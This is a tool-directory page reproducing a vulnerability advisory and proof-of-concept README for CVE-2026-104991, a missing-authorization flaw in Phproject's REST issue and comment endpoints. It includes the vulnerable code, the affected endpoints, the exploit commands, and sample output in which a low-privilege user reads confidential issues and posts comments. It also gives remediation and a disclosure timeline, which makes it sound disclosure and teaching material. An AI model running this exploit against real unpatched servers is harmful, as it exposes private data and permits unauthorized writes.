Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-104991 — Proof-of-concept and lab for CVE-2026-104991, a missing authorization (BOLA/IDOR) flaw in Phproject REST API issue read and comment endpoints. | Kitploit
Tools/GitHubGitHub/wvllxe/cve-2026-104991
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationWeb SecurityPenetration TestingLearning & EducationAPI Security
GitHubwvllxe/cve-2026-104991

CVE-2026-104991

7 days agoNot yet reviewed
Share

Proof-of-concept and lab for CVE-2026-104991, a missing authorization (BOLA/IDOR) flaw in Phproject REST API issue read and comment endpoints.

View Repository

CVE-2026-104991 — Missing Authorization (BOLA/IDOR) in Phproject REST API

Authorized security research. PoC for defensive and educational use only.

CVSS 3.1 CVSS 4.0 CWE-862 Status

Any authenticated low-privilege user (or any API-key holder) can read the full contents and comments of arbitrary issues, and post comments to them, via REST API endpoints that omit the ownership/group check enforced everywhere else in the application.

CVECVE-2026-104991
ProductPhproject (self-hosted project management / issue tracker)
VendorAlan Hardman (Alanaktion)
Affected>= 1.1.6, < 1.8.7 (audited at commit 0307062a4b8d31375b6dbe09cb09a7a631dfdafd)
Fixed inv1.8.7
CWECWE-862 Missing Authorization / CWE-639 Broken Object-Level Authorization
OWASPA01:2021 — Broken Access Control
CVSS 3.17.1 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
CVSS 4.07.1 HIGH — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
AdvisoryVulnCheck · GHSA-mpq9-v47x-3hw8
CoordinationVulnCheck (CNA)
CreditAlisher Qarshibayev

Summary

When an admin enables the security.restrict_access control (the switch that makes issues private by owner/author/group), the web UI and the write REST endpoints enforce Model\Issue::allowAccess(). Three read/comment REST endpoints do not — they check only that the issue row exists. Any authenticated principal can therefore read or comment on any issue regardless of ownership.

Vulnerable code — app/controller/api/issues.php

public function single_get(\Base $f3, array $params): void {
    $issue = new \Model\Issue\Detail();
    $issue->load($params["id"]);
    if ($issue->id) {                                   // <-- existence check only
        $this->_printJson(["issue" => $this->_issueMultiArray($issue)]);  // NO allowAccess()
    } else { $f3->error(404); }
}

public function single_comments(\Base $f3, array $params): void {
    $issue = new \Model\Issue(); $issue->load($params["id"]);
    if (!$issue->id) { $f3->error(404); return; }       // NO allowAccess()
    $comments = (new \Model\Issue\Comment\Detail())->find(["issue_id = ?", $issue->id], ...);
    /* ... returns all comments ... */
}

The sibling write endpoints in the same file authorize correctly:

public function single_delete(...) { ... if (!$issue->allowAccess()) { $f3->error(403); return; } ... }
public function single_put(...)    { ... if (!$issue->allowAccess()) { $f3->error(403); return; } ... }

So does the web UI (app/controller/issues.php:216,436). Only single_get, single_comments and single_comments_post forgot the guard — a classic diff-every-call-site authorization gap.

Affected endpoints

  • GET /issues/@id.json — read arbitrary issue (title, description, custom fields, owner email)
  • GET /issues/@id/comments.json — read all comments on arbitrary issue
  • POST /issues/@id/comments.json — write a comment to arbitrary issue

Preconditions

  1. security.restrict_access = 1 (admin-enabled issue confidentiality).
  2. Any authenticated low-privilege account or its long-lived API key.
  3. Victim issue owned by a different user/group.

Proof of Concept

poc/setup_env.php seeds a deterministic lab: enables restrict_access, creates a confidential issue owned by alice, and a low-priv user bob who is not owner, author or group member. poc/exploit.sh then demonstrates the bypass.

# 1. seed the lab (adjust DB connection inside the script to your instance)
php poc/setup_env.php
#   -> prints BOB_KEY=<key>  ISSUE_ID=1

# 2. run the exploit
./poc/exploit.sh http://target 1 <BOB_KEY>

Observed result

web  GET /issues/1               -> HTTP 404   (web UI denies, no data)
api  GET /issues/1.json          -> HTTP 200   {"issue":{"name":"CONFIDENTIAL: acquisition salary figures",
                                                 "description":"...secret-token=RS_9f13ac.","owner":{"username":"alice"}}}
api  GET /issues/1/comments.json -> HTTP 200   [{"text":"Internal comment: board approved 2026-10.","user_username":"alice"}]
api  POST /issues/1/comments.json-> HTTP 200   {"id":2,"issue_id":1,"user_id":2,"text":"INJECTED-BY-BOB"}

The web UI denies bob (404) while the API hands him the confidential issue and lets him write to it. See evidence/poc_run.log and evidence/poc_evidence.png.

Impact

Operators relying on security.restrict_access to keep issues confidential between users/groups (HR, security, per-client separation) lose that guarantee entirely: any authenticated user reads every issue's title, description, custom fields and owner email, reads all comments, and injects comments into issues they cannot otherwise access. API keys are per-user and long-lived, widening exposure. Confidentiality: High. Integrity: Low.

Remediation

Upgrade to Phproject v1.8.7 or later. If you maintain a fork, add the same guard the sibling/write and web paths already use, in each read/comment API method:

$issue->load($params["id"]);
if (!$issue->id)           { $f3->error(404); return; }
if (!$issue->allowAccess()){ $f3->error(403); return; }   // <-- was missing

Timeline

  • 2026-09-23 — Discovered (source audit + dynamic PoC), reported to VulnCheck.
  • 2026-10-02 — CVE-2026-104991 published by VulnCheck.
  • Fixed upstream in v1.8.7 (GHSA-mpq9-v47x-3hw8).

Credit

Alisher Qarshibayev — coordinated through VulnCheck.

Published for defensive/educational purposes after the fix was released and the CVE assigned.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    897
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    853
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    668
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    448
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    417
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    400

Explore all tools

Browse our collection of tools

View all tools →